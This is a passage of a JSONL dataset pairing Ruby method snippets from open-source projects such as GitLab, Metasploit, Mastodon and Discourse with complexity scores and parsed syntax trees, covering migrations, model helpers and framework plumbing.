:subforem_id], unique: true, name: \"index_site_configs_on_var_and_subforem_id\", algorithm: :concurrently\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"settings_authentications\"]},{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_settings_authentications_on_var\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"settings_authentications\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"sym\",\"children\":[\"subforem_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_settings_authentications_on_var_and_subforem_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"settings_campaigns\"]},{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_settings_campaigns_on_var\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"settings_campaigns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"sym\",\"children\":[\"subforem_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_settings_campaigns_on_var_and_subforem_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"settings_communities\"]},{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_settings_communities_on_var\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"settings_communities\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"sym\",\"children\":[\"subforem_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_settings_communities_on_var_and_subforem_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"settings_rate_limits\"]},{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_settings_rate_limits_on_var\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"settings_rate_limits\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"sym\",\"children\":[\"subforem_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_settings_rate_limits_on_var_and_subforem_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"settings_smtp\"]},{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_settings_smtp_on_var\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"settings_smtp\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"sym\",\"children\":[\"subforem_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_settings_smtp_on_var_and_subforem_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"settings_user_experiences\"]},{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_settings_user_experiences_on_var\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"settings_user_experiences\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"sym\",\"children\":[\"subforem_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_settings_user_experiences_on_var_and_subforem_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"site_configs\"]},{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_site_configs_on_var\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"site_configs\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"sym\",\"children\":[\"subforem_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_site_configs_on_var_and_subforem_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]}]}]}","id":"fba451e8-bfff-4ab0-8565-e2d1e295f5c3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/pkcs12/storage.rb","start_line":114,"raw_source":"def delete(options = {})\n      if options.keys == [:ids]\n        # skip calling #filter_pkcs12 which issues a query when the IDs are specified\n        ids = options[:ids]\n      else\n        ids = filter_pkcs12(options).map(&:id)\n      end\n\n      framework.db.delete_credentials(ids: ids).map do |stored_pkcs12|\n        StoredPkcs12.new(stored_pkcs12)\n      end\n    end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"delete\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"keys\"]},\"==\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ids\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ids\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_pkcs12\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"delete_credentials\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ids\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stored_pkcs12\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StoredPkcs12\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"stored_pkcs12\"]}]}]}]}]}","id":"463a060a-ad3d-4ebc-8b93-f55f0aa55cf0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/memory/watchdog/monitor/rss_memory_limit.rb","start_line":10,"raw_source":"def initialize(memory_limit_bytes:)\n            @memory_limit_bytes = memory_limit_bytes\n            init_memory_limit_metrics\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"memory_limit_bytes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@memory_limit_bytes\",{\"type\":\"lvar\",\"children\":[\"memory_limit_bytes\"]}]},{\"type\":\"send\",\"children\":[null,\"init_memory_limit_metrics\"]}]}]}","id":"fae7b4e3-3dbd-4df6-8a65-d19a01e5c253"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/synthetic_note.rb","start_line":39,"raw_source":"def note\n    @note ||= note_text\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"note\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@note\"]},{\"type\":\"send\",\"children\":[null,\"note_text\"]}]}]}","id":"49e442bb-2f06-41fd-9657-bd8f0b8d0b67"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/instagram/messenger/message_text.rb","start_line":4,"raw_source":"def ensure_contact(ig_scope_id)\n    result = fetch_instagram_user(ig_scope_id)\n    find_or_create_contact(result) if result.present?\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_contact\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ig_scope_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"fetch_instagram_user\",{\"type\":\"lvar\",\"children\":[\"ig_scope_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"find_or_create_contact\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},null]}]}]}","id":"46ff79bc-8950-48f1-90fd-4630a083b798"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250507141312_add_workspace_id_workspace_agentk_state_foreign_key.rb","start_line":11,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :workspace_agentk_states, column: :workspace_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"workspace_agentk_states\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"workspace_id\"]}]}]}]}]}]}","id":"56a9e43f-13f2-4b18-a7ac-377a51485269"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/container_group.rb","start_line":104,"raw_source":"def perf_rollup_parents(interval_name = nil)\n    unless interval_name == 'realtime'\n      ([container_project, container_replicator] + container_services).compact\n    end\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"perf_rollup_parents\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"interval_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interval_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"realtime\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container_project\"]},{\"type\":\"send\",\"children\":[null,\"container_replicator\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"container_services\"]}]}]},\"compact\"]}]}]}","id":"92b3c0d2-3e1b-4f95-80cc-81f1d4a7004f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/click_house/migrate/main/20240605104100_recreate_ci_used_minutes_by_runner_daily_mv2.rb","start_line":28,"raw_source":"def down\n    execute <<~SQL\n      DROP VIEW IF EXISTS ci_used_minutes_by_runner_daily_mv\n    SQL\n\n    execute <<~SQL\n      CREATE MATERIALIZED VIEW IF NOT EXISTS ci_used_minutes_by_runner_daily_mv\n      TO ci_used_minutes_by_runner_daily\n      AS\n      SELECT\n        toStartOfInterval(finished_at, INTERVAL 1 day) AS finished_at_bucket,\n        runner_type,\n        status,\n        project_id,\n        runner_id,\n\n        countState() AS count_builds,\n        sumSimpleState(duration) AS total_duration\n      FROM ci_finished_builds\n      GROUP BY finished_at_bucket, runner_type, project_id, status, runner_id\n    SQL\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP VIEW IF EXISTS ci_used_minutes_by_runner_daily_mv\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE MATERIALIZED VIEW IF NOT EXISTS ci_used_minutes_by_runner_daily_mv\\n\"]},{\"type\":\"str\",\"children\":[\"TO ci_used_minutes_by_runner_daily\\n\"]},{\"type\":\"str\",\"children\":[\"AS\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"  toStartOfInterval(finished_at, INTERVAL 1 day) AS finished_at_bucket,\\n\"]},{\"type\":\"str\",\"children\":[\"  runner_type,\\n\"]},{\"type\":\"str\",\"children\":[\"  status,\\n\"]},{\"type\":\"str\",\"children\":[\"  project_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  runner_id,\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  countState() AS count_builds,\\n\"]},{\"type\":\"str\",\"children\":[\"  sumSimpleState(duration) AS total_duration\\n\"]},{\"type\":\"str\",\"children\":[\"FROM ci_finished_builds\\n\"]},{\"type\":\"str\",\"children\":[\"GROUP BY finished_at_bucket, runner_type, project_id, status, runner_id\\n\"]}]}]}]}]}","id":"cb9db57f-8b76-4a5b-a7a0-bc0c584043ce"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/first_parameter_indentation.rb","start_line":71,"raw_source":"def check(def_node)\n          return if ignored_node?(def_node)\n\n          left_parenthesis = def_node.arguments.loc.begin\n          first_elem = def_node.first_argument\n          return unless first_elem\n          return if same_line?(first_elem, left_parenthesis)\n\n          check_first(first_elem, left_parenthesis, nil, 0)\n        end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"def_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignored_node?\",{\"type\":\"lvar\",\"children\":[\"def_node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"left_parenthesis\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"def_node\"]},\"arguments\"]},\"loc\"]},\"begin\"]}]},{\"type\":\"lvasgn\",\"children\":[\"first_elem\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"def_node\"]},\"first_argument\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_elem\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"same_line?\",{\"type\":\"lvar\",\"children\":[\"first_elem\"]},{\"type\":\"lvar\",\"children\":[\"left_parenthesis\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"check_first\",{\"type\":\"lvar\",\"children\":[\"first_elem\"]},{\"type\":\"lvar\",\"children\":[\"left_parenthesis\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"d84168c3-998c-4a4f-a972-c220b70e4af2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/accounts/follower_accounts_controller.rb","start_line":56,"raw_source":"def pagination_since_id\n    @accounts.first.active_relationships.first.id\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pagination_since_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@accounts\"]},\"first\"]},\"active_relationships\"]},\"first\"]},\"id\"]}]}","id":"106b109c-1b47-4d7d-a974-7d0fcfc8cbdf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/driver.rb","start_line":438,"raw_source":"def on_variable_set(glob, var, val)\n    case var.downcase\n    when 'sessionlogging'\n      handle_session_logging(val) if glob\n    when 'sessiontlvlogging'\n      handle_session_tlv_logging(val) if glob\n    when 'consolelogging'\n      handle_console_logging(val) if glob\n    when 'loglevel'\n      handle_loglevel(val) if glob\n    when 'payload'\n      handle_payload(val)\n    when 'ssh_ident'\n      handle_ssh_ident(val)\n    end\n  end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_variable_set\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"glob\"]},{\"type\":\"arg\",\"children\":[\"var\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]},\"downcase\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"sessionlogging\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"glob\"]},{\"type\":\"send\",\"children\":[null,\"handle_session_logging\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"sessiontlvlogging\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"glob\"]},{\"type\":\"send\",\"children\":[null,\"handle_session_tlv_logging\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"consolelogging\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"glob\"]},{\"type\":\"send\",\"children\":[null,\"handle_console_logging\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"loglevel\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"glob\"]},{\"type\":\"send\",\"children\":[null,\"handle_loglevel\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[null,\"handle_payload\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"ssh_ident\"]},{\"type\":\"send\",\"children\":[null,\"handle_ssh_ident\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},null]}]}","id":"f9c0e9d3-de59-4a68-8bab-038582ddbcdd"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/vbulletin.rb","start_line":212,"raw_source":"def import_profile_picture(old_user, imported_user)\n    query = mysql_query <<-SQL\n        SELECT filedata, filename\n          FROM #{TABLE_PREFIX}customavatar\n         WHERE userid = #{old_user[\"userid\"]}\n      ORDER BY dateline DESC\n         LIMIT 1\n    SQL\n\n    picture = query.first\n\n    return if picture.nil?\n    return if picture[\"filedata\"].nil?\n\n    file = Tempfile.new(\"profile-picture\")\n    file.write(picture[\"filedata\"].encode(\"ASCII-8BIT\").force_encoding(\"UTF-8\"))\n    file.rewind\n\n    upload = UploadCreator.new(file, picture[\"filename\"]).create_for(imported_user.id)\n\n    return if !upload.persisted?\n\n    imported_user.create_user_avatar\n    imported_user.user_avatar.update(custom_upload_id: upload.id)\n    imported_user.update(uploaded_avatar_id: upload.id)\n  ensure\n    begin\n      file.close\n    rescue StandardError\n      nil\n    end\n    begin\n      file.unlind\n    rescue StandardError\n      nil\n    end\n  end","complexity_score":41.9,"ast_json":"{\"type\":\"def\",\"children\":[\"import_profile_picture\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_user\"]},{\"type\":\"arg\",\"children\":[\"imported_user\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        SELECT filedata, filename\\n\"]},{\"type\":\"str\",\"children\":[\"          FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"customavatar\\n\"]},{\"type\":\"str\",\"children\":[\"         WHERE userid = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"userid\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      ORDER BY dateline DESC\\n\"]},{\"type\":\"str\",\"children\":[\"         LIMIT 1\\n\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"picture\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"picture\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"picture\"]},\"[]\",{\"type\":\"str\",\"children\":[\"filedata\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"str\",\"children\":[\"profile-picture\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"picture\"]},\"[]\",{\"type\":\"str\",\"children\":[\"filedata\"]}]},\"encode\",{\"type\":\"str\",\"children\":[\"ASCII-8BIT\"]}]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"rewind\"]},{\"type\":\"lvasgn\",\"children\":[\"upload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadCreator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"picture\"]},\"[]\",{\"type\":\"str\",\"children\":[\"filename\"]}]}]},\"create_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imported_user\"]},\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"persisted?\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imported_user\"]},\"create_user_avatar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imported_user\"]},\"user_avatar\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_upload_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imported_user\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uploaded_avatar_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"id\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"close\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"unlind\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]}]}]}","id":"b836ac37-7b81-4b8a-a39e-b7f875b00c4e"}
